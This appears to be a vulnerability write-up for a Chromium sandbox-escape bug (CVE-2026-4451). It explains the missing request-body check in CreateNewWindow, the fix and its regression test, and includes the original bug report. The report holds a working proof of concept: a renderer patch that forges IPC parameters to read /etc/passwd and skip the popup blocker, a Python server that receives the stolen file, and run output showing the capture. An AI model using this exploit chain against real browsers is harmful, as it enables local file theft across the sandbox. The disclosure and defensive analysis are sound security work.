CVE-2026-4451
Overview
Background
- `CreateNewWindow`
- the renderer-to-browser Mojo call (
RenderFrameHostImpl::CreateNewWindow) that asks the browser to open a popup or new tab, described by amojom::CreateNewWindowParamsstruct. - `form_submission_post_data`
- a field of
CreateNewWindowParamsholding anetwork::ResourceRequestBodyfor a form POST that targets the new window; such bodies can contain file-range elements that name local file paths. - `ChildProcessSecurityPolicyImpl::CanReadRequestBody`
- the browser-side check that every file or blob element in a request body is one the given renderer process has been granted access to.
- `bad_message::ReceivedBadMessage`
- the browser’s way of terminating a renderer that sent an IPC a well-behaved renderer would never send; here it reports
ILLEGAL_UPLOAD_PARAMS.
Root Cause Analysis
Before the patch, RenderFrameHostImpl::CreateNewWindow accepted params->form_submission_post_data from the renderer without checking that the process could read the files the body referenced. Other params checks, such as the WindowOpenDisposition::UNKNOWN filter, did run, but none covered the request body. This broke the invariant that the browser process must authorize any file reference a renderer puts in an upload body, because a renderer may only name files the user granted it (for example via a file picker).
The patch adds VerifyCreateNewWindowParams in ipc_utils.cc. It calls policy->CanReadRequestBody(process, params.form_submission_post_data), and on failure it kills the renderer with ILLEGAL_UPLOAD_PARAMS and returns false. CreateNewWindow now calls this helper first, before any other params handling. On failure it runs the callback with mojom::CreateNewWindowStatus::kBlocked and nullptr and returns early, so no window is created and the unauthorized body is never used.
CanReadRequestBody. The fix adds that check at the top of CreateNewWindow, kills the offending renderer and blocks the window.Attack Path
- Compromise the renderer The attacker first gets code execution in a renderer process (the regression test says “Simulate that the renderer is compromised”), because a well-behaved Blink would not put files the frame was never granted into the POST body.
- Forge `CreateNewWindowParams`
The compromised renderer sends
CreateNewWindowwith an attacker-chosentarget_url, a disposition such asNEW_FOREGROUND_TAB, and aform_submission_post_databody containing a file range for a path it has no access to (the test uses/tmp/offlimitswith the full range). - Browser accepts the body
Before the fix, nothing in
CreateNewWindowcalledCanReadRequestBody, so the browser went on to create the window carrying the forged POST data. - Local file contents uploaded
The new window’s POST navigation would read the named file in a privileged process and send it to the attacker-controlled
target_url, which leaks local files across the sandbox boundary (inferred; the diff shows only the missing check, not the upload).
Impact Assessment
form_submission_post_data to a file it was not granted. In practice this would be the second stage of a chain after a separate renderer bug. The vendor advisory rates it high severity (“Insufficient validation of untrusted input in Navigation”) and does not state in-the-wild exploitation.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/browser/renderer_host/render_frame_host_impl.cc |
modified |
Files Changed
content/browser/renderer_host/ipc_utils.cccontent/browser/renderer_host/ipc_utils.hcontent/browser/renderer_host/render_frame_host_impl.cccontent/browser/renderer_host/render_frame_host_impl.hcontent/browser/security_exploit_browsertest.cc
Audit Directions
- Unvalidated `ResourceRequestBody` in renderer IPCsList every Mojo method that takes a
network::ResourceRequestBody(orform_submission_post_data,post_body,request_body) from a renderer and confirm each callsCanReadRequestBodybefore the body is used. - Partial validation inside `CreateNewWindow`The TODO says to move all
paramschecks intoVerifyCreateNewWindowParams; review the remaining fields ofCreateNewWindowParams(target URL, opener, features, impression and similar) for checks that are missing or only enforced in Blink. - Navigation paths beside the main oneCompare popup,
OpenURL,BeginNavigation, and history/session-restore paths against the full set of checks inVerifyBeginNavigationCommonParams/VerifyOpenURLParams, because a protection on the main path is often missing from sibling entry points.
Patch
From b496550e39c5c1752d504a684ebc4d88b4009ed3 Mon Sep 17 00:00:00 2001 From: Charlie Reis <[email protected]> Date: Thu, 05 Mar 2026 08:59:03 -0800 Subject: [PATCH] Validate ResourceRequestBody in CreateNewWindowParams. Bug: 487768779 Change-Id: I15b89c501cc386ec6dee7eb3dbaab4a4cb6d0068 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7635726 Reviewed-by: Arthur Sonzogni <[email protected]> Commit-Queue: Charlie Reis <[email protected]> Cr-Commit-Position: refs/heads/main@{#1594735} --- diff --git a/content/browser/renderer_host/ipc_utils.cc b/content/browser/renderer_host/ipc_utils.cc index 3d478208..6ba1106 100644 --- a/content/browser/renderer_host/ipc_utils.cc +++ b/content/browser/renderer_host/ipc_utils.cc @@ -341,6 +341,22 @@ return true; } +bool VerifyCreateNewWindowParams(const RenderFrameHostImpl& current_rfh, + const mojom::CreateNewWindowParams& params) { + DCHECK_CURRENTLY_ON(BrowserThread::UI); + RenderProcessHost* process = current_rfh.GetProcess(); + + // Verify `form_submission_post_data`. + auto* policy = ChildProcessSecurityPolicyImpl::GetInstance(); + if (!policy->CanReadRequestBody(process, params.form_submission_post_data)) { + bad_message::ReceivedBadMessage(process, + bad_message::ILLEGAL_UPLOAD_PARAMS); + return false; + } + + return true; +} + bool VerifyNavigationInitiator( RenderFrameHostImpl* current_rfh, const std::optional<blink::LocalFrameToken>& initiator_frame_token, diff --git a/content/browser/renderer_host/ipc_utils.h b/content/browser/renderer_host/ipc_utils.h index 76cbc5a5..70bb639 100644 --- a/content/browser/renderer_host/ipc_utils.h +++ b/content/browser/renderer_host/ipc_utils.h @@ -59,6 +59,18 @@ blink::mojom::CommonNavigationParams* common_params, std::optional<blink::LocalFrameToken>& initiator_frame_token); +// Verifies that the CreateNewWindowParams are valid and can be accessed by +// `current_rfh`'s process. +// +// Returns true if the CreateNewWindowParams are valid. +// +// Terminates `current_rfh`'s process and returns false if the +// CreateNewWindowParams are invalid. +// +// This function has to be called on the UI thread. +bool VerifyCreateNewWindowParams(const RenderFrameHostImpl& current_rfh, + const mojom::CreateNewWindowParams& params); + // Verify that the initiator frame identified by `initiator_frame_token` and // `initiator_process_id` can navigate `current_rfh`. // diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc index cc2fb01..c535d21 100644 --- a/content/browser/renderer_host/render_frame_host_impl.cc +++ b/content/browser/renderer_host/render_frame_host_impl.cc @@ -9980,6 +9980,13 @@ TRACE_EVENT2("navigation", "RenderFrameHostImpl::CreateNewWindow", "render_frame_host", this, "url", params->target_url); + // TODO(crbug.com/487768779): Move all `params` validation from this function + // into VerifyCreateNewWindowParams. + if (!VerifyCreateNewWindowParams(*this, *params)) { + std::move(callback).Run(mojom::CreateNewWindowStatus::kBlocked, nullptr); + return; + } + // Filter out invalid UNKNOWN disposition to prevent renderer-triggered // browser crashes. if (params->disposition == WindowOpenDisposition::UNKNOWN) { diff --git a/content/browser/renderer_host/render_frame_host_impl.h b/content/browser/renderer_host/render_frame_host_impl.h index 427aacad..3a35040 100644 --- a/content/browser/renderer_host/render_frame_host_impl.h +++ b/content/browser/renderer_host/render_frame_host_impl.h @@ -3468,6 +3468,8 @@ FRIEND_TEST_ALL_PREFIXES(SecurityExploitBrowserTest, BindToWebUIFromWebViaMojo); FRIEND_TEST_ALL_PREFIXES(SecurityExploitBrowserTest, + CreateNewWindowWithInaccessibleFile); + FRIEND_TEST_ALL_PREFIXES(SecurityExploitBrowserTest, WindowOpenDisallowedFromSandboxedFrame); FRIEND_TEST_ALL_PREFIXES(SitePerProcessBrowserTest, RenderViewHostIsNotReusedAfterDelayedUnloadACK); diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc index 802f0ad..ccf0287 100644 --- a/content/browser/security_exploit_browsertest.cc +++ b/content/browser/security_exploit_browsertest.cc @@ -1160,6 +1160,37 @@ EXPECT_EQ(1u, Shell::windows().size()); } +// Regression test for browser-side validation of POST submissions in +// CreateNewWindow. See https://crbug.com/487768779. +IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest, + CreateNewWindowWithInaccessibleFile) { + GURL main_url(embedded_test_server()->GetURL("a.com", "/title1.html")); + EXPECT_TRUE(NavigateToURL(shell(), main_url)); + + WebContentsImpl* web_contents = + static_cast<WebContentsImpl*>(shell()->web_contents()); + FrameTreeNode* root = web_contents->GetPrimaryFrameTree().root(); + RenderFrameHostImpl* main_frame = root->current_frame_host(); + + // Simulate that the renderer is compromised and sends an IPC to open a popup, + // using a POST submission that includes a file the renderer does not have + // access to. The browser process should detect this and kill the renderer. + RenderProcessHostBadIpcMessageWaiter kill_waiter(main_frame->GetProcess()); + mojom::CreateNewWindowParamsPtr params = mojom::CreateNewWindowParams::New(); + params->target_url = main_url; + params->disposition = WindowOpenDisposition::NEW_FOREGROUND_TAB; + scoped_refptr<network::ResourceRequestBody> request_body = + new network::ResourceRequestBody(); + base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits"); + request_body->AppendFileRange( + bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time()); + params->form_submission_post_data = std::move(request_body); + main_frame->CreateNewWindow(std::move(params), base::DoNothing()); + EXPECT_EQ(bad_message::ILLEGAL_UPLOAD_PARAMS, kill_waiter.Wait()); + EXPECT_FALSE(main_frame->IsRenderFrameLive()); + EXPECT_EQ(1u, Shell::windows().size()); +} + // Test verifying that a compromised renderer can't lie about the source_origin // passed along with the RouteMessageEvent() mojo message. Similar to the test // above, but exercises a scenario where the source origin is opaque and the
Regression Test / PoC
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index 802f0ad..ccf0287 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -1160,6 +1160,37 @@
EXPECT_EQ(1u, Shell::windows().size());
}
+// Regression test for browser-side validation of POST submissions in
+// CreateNewWindow. See https://crbug.com/487768779.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
+ CreateNewWindowWithInaccessibleFile) {
+ GURL main_url(embedded_test_server()->GetURL("a.com", "/title1.html"));
+ EXPECT_TRUE(NavigateToURL(shell(), main_url));
+
+ WebContentsImpl* web_contents =
+ static_cast<WebContentsImpl*>(shell()->web_contents());
+ FrameTreeNode* root = web_contents->GetPrimaryFrameTree().root();
+ RenderFrameHostImpl* main_frame = root->current_frame_host();
+
+ // Simulate that the renderer is compromised and sends an IPC to open a popup,
+ // using a POST submission that includes a file the renderer does not have
+ // access to. The browser process should detect this and kill the renderer.
+ RenderProcessHostBadIpcMessageWaiter kill_waiter(main_frame->GetProcess());
+ mojom::CreateNewWindowParamsPtr params = mojom::CreateNewWindowParams::New();
+ params->target_url = main_url;
+ params->disposition = WindowOpenDisposition::NEW_FOREGROUND_TAB;
+ scoped_refptr<network::ResourceRequestBody> request_body =
+ new network::ResourceRequestBody();
+ base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+ request_body->AppendFileRange(
+ bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+ params->form_submission_post_data = std::move(request_body);
+ main_frame->CreateNewWindow(std::move(params), base::DoNothing());
+ EXPECT_EQ(bad_message::ILLEGAL_UPLOAD_PARAMS, kill_waiter.Wait());
+ EXPECT_FALSE(main_frame->IsRenderFrameLive());
+ EXPECT_EQ(1u, Shell::windows().size());
+}
+
// Test verifying that a compromised renderer can't lie about the source_origin
// passed along with the RouteMessageEvent() mojo message. Similar to the test
// above, but exercises a scenario where the source origin is opaque and the
Original Bug Report
Sandbox Escape: Arbitrary Local File Read via Missing CanReadRequestBody Validation in CreateNewWindow's opener_suppressed Path
Sandbox Escape: Arbitrary Local File Read via Missing CanReadRequestBody Validation in CreateNewWindow’s opener_suppressed Path
Summary
A compromised renderer process can read and exfiltrate arbitrary local files by exploiting a missing security validation in the CreateNewWindow IPC handler. When opener_suppressed is true, the browser process directly uses the renderer-provided form_submission_post_data to initiate a POST navigation without calling CanReadRequestBody(). Because the resulting network request is attributed to the browser process (process_id == 0), the file upload security check in HandleFileUploadRequest is bypassed entirely, allowing an attacker to read any file on the local filesystem and exfiltrate it to an attacker-controlled URL. Additionally, the browser trusts the renderer-provided allow_popup field without verification, enabling the compromised renderer to bypass the popup blocker without any user gesture. This constitutes a full sandbox escape, as demonstrated by successfully exfiltrating /etc/passwd (3126 bytes) to an attacker-controlled HTTP server with the sandbox enabled and no special flags.
Bisect
Introducing Commit: 5de823b36e68fd99009a29281b17bc3a1d6b329c
- Date:
Tue Jun 14 04:37:50 2022 - Author:
jongdeok.kim <[email protected]> - Review: https://chromium-review.googlesource.com/c/chromium/src/+/3587952
The commit “Support rel attribute for form element” added support for <form rel="noopener">, which requires passing POST data through the opener_suppressed branch of CreateNewWindow. The seven lines that populate load_params->post_data from renderer-supplied params.form_submission_post_data were added without the corresponding CanReadRequestBody() security check that exists in every other renderer-initiated navigation path.
Root Cause
The Mojo interface content.mojom.FrameHost::CreateNewWindow accepts a CreateNewWindowParams structure from the renderer process. This structure includes a form_submission_post_data field of type network.mojom.URLRequestBody, which can contain DataElementFile entries specifying arbitrary filesystem paths.
// content/common/frame.mojom — CreateNewWindowParams
struct CreateNewWindowParams {
...
// Body of HTTP POST request for form submission.
network.mojom.URLRequestBody? form_submission_post_data;
string form_submission_post_content_type;
...
};
When a renderer invokes CreateNewWindow with opener_suppressed == true, the browser-side handler in WebContentsImpl::CreateNewWindow enters a special branch that navigates the newly created window directly from the browser process. In this branch, the renderer-provided POST data is assigned directly to the navigation parameters without any validation:
// content/browser/web_contents/web_contents_impl.cc — WebContentsImpl::CreateNewWindow
if (params.form_submission_post_data) {
load_params->load_type = NavigationController::LOAD_TYPE_HTTP_POST;
load_params->post_data = params.form_submission_post_data; // no validation
load_params->post_content_type = params.form_submission_post_content_type;
}
...
contents_to_load->GetController().LoadURLWithParams(*load_params.get());
By contrast, both of the other renderer-initiated navigation paths that accept POST data validate it before use. The OpenURL path calls VerifyOpenURLParams, and the BeginNavigation path calls VerifyBeginNavigationCommonParams. Both of these functions invoke ChildProcessSecurityPolicyImpl::CanReadRequestBody(), which iterates through every DataElement in the request body, rejects any DataElementFile whose path the renderer is not authorized to read, and terminates the renderer with a bad_message::ILLEGAL_UPLOAD_PARAMS report if the check fails:
// content/browser/renderer_host/ipc_utils.cc — VerifyOpenURLParams
auto* policy = ChildProcessSecurityPolicyImpl::GetInstance();
if (!policy->CanReadRequestBody(process, params->post_body)) {
bad_message::ReceivedBadMessage(process,
bad_message::ILLEGAL_UPLOAD_PARAMS);
return false;
}
The CreateNewWindow path lacks this check entirely.
The consequence is escalated by how the browser handles the resulting navigation. Because opener_suppressed navigations are browser-driven, NavigationURLLoaderImpl constructs the URLLoaderFactoryParams with process_id set to OriginatingProcessId::browser(), which resolves to 0:
// content/browser/loader/navigation_url_loader_impl.cc
params->process_id = network::OriginatingProcessId::browser();
When the Network Service encounters DataElementFile entries in the request body, it calls NetworkContextClient::OnFileUploadRequested, which routes to HandleFileUploadRequest in the browser process. This function checks whether the originating process is allowed to read each file path, but it explicitly exempts the browser process (process_id == 0) from this check:
// content/browser/network_context_client_base_impl.cc — HandleFileUploadRequest
if (process_id != network::mojom::kBrowserProcessId &&
!cpsp->CanReadFile(ChildProcessId::FromUnsafeValue(process_id),
file_path)) {
// deny
return;
}
// If process_id == kBrowserProcessId (0), the check is skipped entirely
files.emplace_back(file_path, file_flags);
A secondary issue compounds the exploit: the browser trusts the allow_popup field in CreateNewWindowParams without verification. In RenderFrameHostImpl::CreateNewWindow, the popup blocker decision is computed as:
// content/browser/renderer_host/render_frame_host_impl.cc
bool effective_transient_activation_state =
params->allow_popup || HasTransientUserActivation() ||
(transient_allow_popup_.IsActive() &&
params->disposition == WindowOpenDisposition::NEW_POPUP);
A compromised renderer can set allow_popup = true to bypass the popup blocker entirely, without requiring any user gesture or transient activation. Combined with opener_suppressed = true, this allows the compromised renderer to trigger the file exfiltration at any time, without user interaction.
The net effect is a confused deputy attack: the compromised renderer provides an arbitrary file path via the CreateNewWindow Mojo message, the browser process trusts and forwards this to the navigation system, the navigation system attributes the request to the browser itself, and the file upload handler opens the file with full browser-process privileges. The file contents are then sent as the POST body to the renderer-specified target_url, completing the exfiltration.
Reproduce
The proof of concept consists of three components: a patch to the renderer process that simulates a compromised renderer directly calling FrameHost::CreateNewWindow() via Mojo IPC with a DataElementFile injected into the POST body, an HTML trigger page, and a Python HTTP server that receives the exfiltrated file. The compromised renderer bypasses Blink’s popup blocker entirely by setting allow_popup = true in the Mojo message, so no --disable-popup-blocking flag is needed.
Apply the following patch to the renderer (tested on d0f83d769eeed, git apply createnewwindow-file-exfil-poc/render_frame_impl.patch):
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index dd17c9c1d3d17..4887300ab9b22 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -134,6 +134,8 @@
#include "net/http/http_util.h"
#include "services/metrics/public/cpp/ukm_source_id.h"
#include "services/network/public/cpp/content_decoding_interceptor.h"
+#include "services/network/public/cpp/resource_request_body.h"
+#include "third_party/blink/public/common/dom_storage/session_storage_namespace_id.h"
#include "services/network/public/cpp/features.h"
#include "services/network/public/cpp/not_implemented_url_loader_factory.h"
#include "services/network/public/cpp/weak_wrapper_shared_url_loader_factory.h"
@@ -4167,6 +4169,87 @@ void RenderFrameImpl::DidFinishLoad() {
frame_->IsOutermostMainFrame());
}
+ // --- PoC: Direct Mojo IPC to CreateNewWindow ---
+ // A compromised renderer calls FrameHost::CreateNewWindow() directly,
+ // bypassing Blink's popup blocker entirely. The browser trusts
+ // allow_popup from the renderer and skips activation checks.
+ // No --disable-popup-blocking needed.
+ std::string url = frame_->GetDocument().Url().GetString().Utf8();
+ if (!frame_->Parent() && url.find("/trigger") != std::string::npos) {
+ LOG(ERROR) << "POC: Direct Mojo CreateNewWindow - no popup blocker, "
+ << "no user gesture needed";
+
+ auto params = mojom::CreateNewWindowParams::New();
+
+ // allow_popup=true bypasses browser-side popup blocker:
+ // effective_transient_activation_state =
+ // params->allow_popup || HasTransientUserActivation() || ...
+ // Browser trusts this field from renderer without verification.
+ params->allow_popup = true;
+ params->opener_suppressed = true;
+ params->is_form_submission = true;
+ params->target_url = GURL("http://127.0.0.1:9999/exfil");
+ params->disposition = WindowOpenDisposition::NEW_FOREGROUND_TAB;
+ params->form_submission_post_content_type = "application/octet-stream";
+ params->session_storage_namespace_id =
+ blink::AllocateSessionStorageNamespaceId();
+
+ // Required non-optional struct fields
+ params->referrer = blink::mojom::Referrer::New(
+ GURL(), network::mojom::ReferrerPolicy::kDefault);
+ params->features = blink::mojom::WindowFeatures::New();
+ // download_policy is a typemapped plain struct, default-initialized.
+
+ // === THE EXPLOIT ===
+ // Inject DataElementFile pointing to /etc/passwd.
+ // The opener_suppressed=true path navigates the new window directly
+ // from the browser process via LoadURLWithParams(), which does NOT
+ // call CanReadRequestBody(). The network service reads /etc/passwd
+ // and sends it as POST body to the attacker's server.
+ auto body = base::MakeRefCounted<network::ResourceRequestBody>();
+ body->AppendFileRange(
+ base::FilePath(FILE_PATH_LITERAL("/etc/passwd")),
+ 0, 1048576, base::Time());
+ params->form_submission_post_data = std::move(body);
+
+ LOG(ERROR) << "POC: target=http://127.0.0.1:9999/exfil file=/etc/passwd";
+
+ // Create required Mojo endpoints for the new window
+ mojo::PendingAssociatedReceiver<mojom::Frame> frame_receiver;
+ params->frame_remote =
+ frame_receiver.InitWithNewEndpointAndPassRemote();
+ mojo::PendingAssociatedReceiver<blink::mojom::PageBroadcast>
+ page_broadcast_receiver;
+ params->page_broadcast_remote =
+ page_broadcast_receiver.InitWithNewEndpointAndPassRemote();
+ mojo::PendingRemote<blink::mojom::BrowserInterfaceBroker>
+ browser_interface_broker;
+ params->main_frame_interface_broker =
+ browser_interface_broker.InitWithNewPipeAndPassReceiver();
+ mojo::PendingAssociatedRemote<blink::mojom::AssociatedInterfaceProvider>
+ aip_remote;
+ params->associated_interface_provider =
+ aip_remote.InitWithNewEndpointAndPassReceiver();
+ mojo::PendingAssociatedRemote<blink::mojom::WidgetHost> wh_remote;
+ params->widget_host = wh_remote.InitWithNewEndpointAndPassReceiver();
+ mojo::PendingAssociatedReceiver<blink::mojom::Widget> w_receiver;
+ params->widget = w_receiver.InitWithNewEndpointAndPassRemote();
+ mojo::PendingAssociatedRemote<blink::mojom::FrameWidgetHost> fwh_remote;
+ params->frame_widget_host =
+ fwh_remote.InitWithNewEndpointAndPassReceiver();
+ mojo::PendingAssociatedReceiver<blink::mojom::FrameWidget> fw_receiver;
+ params->frame_widget = fw_receiver.InitWithNewEndpointAndPassRemote();
+
+ // Direct Mojo call - no Blink, no JS, no popup blocker
+ mojom::CreateNewWindowStatus status;
+ mojom::CreateNewWindowReplyPtr reply;
+ GetFrameHost()->CreateNewWindow(std::move(params), &status, &reply);
+ LOG(ERROR) << "POC: CreateNewWindow status="
+ << static_cast<int>(status)
+ << " (0=Blocked,1=Ignore,2=Reuse,3=Success)";
+ }
+ // --- End PoC ---
+
for (auto& observer : observers_)
observer.DidFinishLoad();
}
Save the following as trigger.html:
<!DOCTYPE html>
<html>
<head><title>CreateNewWindow File Exfil PoC</title></head>
<body>
<h1>CreateNewWindow File Exfiltration PoC</h1>
<p>This page triggers the exploit via its URL path containing "/trigger".</p>
<p>The compromised renderer (patched render_frame_impl.cc) will:</p>
<ol>
<li>Detect "/trigger" in the URL at DidFinishLoad()</li>
<li>Call FrameHost::CreateNewWindow() directly via Mojo IPC</li>
<li>Set allow_popup=true to bypass popup blocker (no user gesture needed)</li>
<li>Set opener_suppressed=true to skip CanReadRequestBody() check</li>
<li>Inject DataElementFile("/etc/passwd") as POST body</li>
<li>Browser process reads /etc/passwd and POSTs it to 127.0.0.1:9999/exfil</li>
</ol>
<p>Check the poc_server.py terminal for exfiltrated file content.</p>
</body>
</html>
Save the following as poc_server.py:
#!/usr/bin/env python3
"""
CreateNewWindow File Exfiltration - Receiving Server
Listens on port 9999. When Chrome's browser process navigates the new tab
to http://127.0.0.1:9999/exfil with the POST body containing /etc/passwd,
this server captures and displays the exfiltrated file content.
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/" or self.path.endswith(".html"):
try:
with open("trigger.html", "rb") as f:
content = f.read()
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
except FileNotFoundError:
self.send_response(404)
self.end_headers()
else:
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(b"ok")
def do_POST(self):
content_length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_length) if content_length > 0 else b""
sys.stderr.write(f"\n{'='*70}\n")
sys.stderr.write(f"[EXFIL] POST {self.path}\n")
sys.stderr.write(f"[EXFIL] Content-Length: {content_length}\n")
sys.stderr.write(f"[EXFIL] Content-Type: {self.headers.get('Content-Type', 'N/A')}\n")
sys.stderr.write(f"[EXFIL] Body ({len(body)} bytes):\n")
sys.stderr.write(f"{'-'*70}\n")
try:
sys.stderr.write(body.decode("utf-8", errors="replace"))
sys.stderr.write("\n")
except Exception:
sys.stderr.write(f"(binary data: {body[:200]}...)\n")
sys.stderr.write(f"{'='*70}\n")
sys.stderr.flush()
if len(body) > 0 and b":" in body:
sys.stderr.write("\n[!!!] SUCCESS: File content received!\n")
sys.stderr.write("[!!!] The /etc/passwd content was exfiltrated via browser process!\n")
with open("exfil_result.txt", "wb") as f:
f.write(body)
sys.stderr.write("[!!!] Saved to exfil_result.txt\n")
sys.stderr.flush()
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"received")
def log_message(self, format, *args):
sys.stderr.write(f"[SERVER] {format % args}\n")
sys.stderr.flush()
if __name__ == "__main__":
port = 9999
server = HTTPServer(("127.0.0.1", port), Handler)
sys.stderr.write(f"[*] Exfil Server listening on http://127.0.0.1:{port}\n")
sys.stderr.write(f"[*] Waiting for exfiltrated file content on POST /exfil ...\n")
sys.stderr.flush()
try:
server.serve_forever()
except KeyboardInterrupt:
sys.stderr.write("\n[*] Server stopped.\n")
server.server_close()
Build and run:
# Build with the renderer patch applied
autoninja -C out/asan-release chrome
# Terminal 1: start the exfil server (serves both trigger.html and receives exfil)
cd <poc-directory>
python3 poc_server.py
# Terminal 2: launch Chrome (sandbox enabled, no --no-sandbox, no --disable-popup-blocking)
ASAN_OPTIONS=detect_odr_violation=0 xvfb-run -a out/asan-release/chrome \
--disable-gpu \
--user-data-dir=/tmp/poc-$(date +%s) \
--enable-logging=stderr \
http://127.0.0.1:9999/trigger.html
Chrome stderr output confirms the renderer-side injection and successful bypass of the popup blocker without user gesture:
[189594:1:0226/204157.261511:ERROR:content/renderer/render_frame_impl.cc:4179] POC: Direct Mojo CreateNewWindow - no popup blocker, no user gesture needed
[189594:1:0226/204157.261861:ERROR:content/renderer/render_frame_impl.cc:4213] POC: target=http://127.0.0.1:9999/exfil file=/etc/passwd
[189594:1:0226/204157.305287:ERROR:content/renderer/render_frame_impl.cc:4245] POC: CreateNewWindow status=1 (0=Blocked,1=Ignore,2=Reuse,3=Success)
The kIgnore status (1) is expected: the browser creates and navigates the new window but does not inform the renderer about it because opener_suppressed causes a new BrowsingInstance. The window creation and navigation proceed regardless.
The exfil server receives the full contents of /etc/passwd as the POST body:
[SERVER] "POST /exfil HTTP/1.1" 200 -
======================================================================
[EXFIL] POST /exfil
[EXFIL] Content-Length: 3126
[EXFIL] Content-Type: application/octet-stream
[EXFIL] Body (3126 bytes):
----------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
sshd:x:131:65534::/run/sshd:/usr/sbin/nologin
======================================================================
[!!!] SUCCESS: File content received!
[!!!] The /etc/passwd content was exfiltrated via browser process!
[!!!] Saved to exfil_result.txt
The test was conducted with the sandbox enabled (no --no-sandbox flag) and without --disable-popup-blocking, confirming that this vulnerability is reachable from within a sandboxed renderer process without any user interaction.
Credit
c6eed09fc8b174b0f3eebedcceb1e792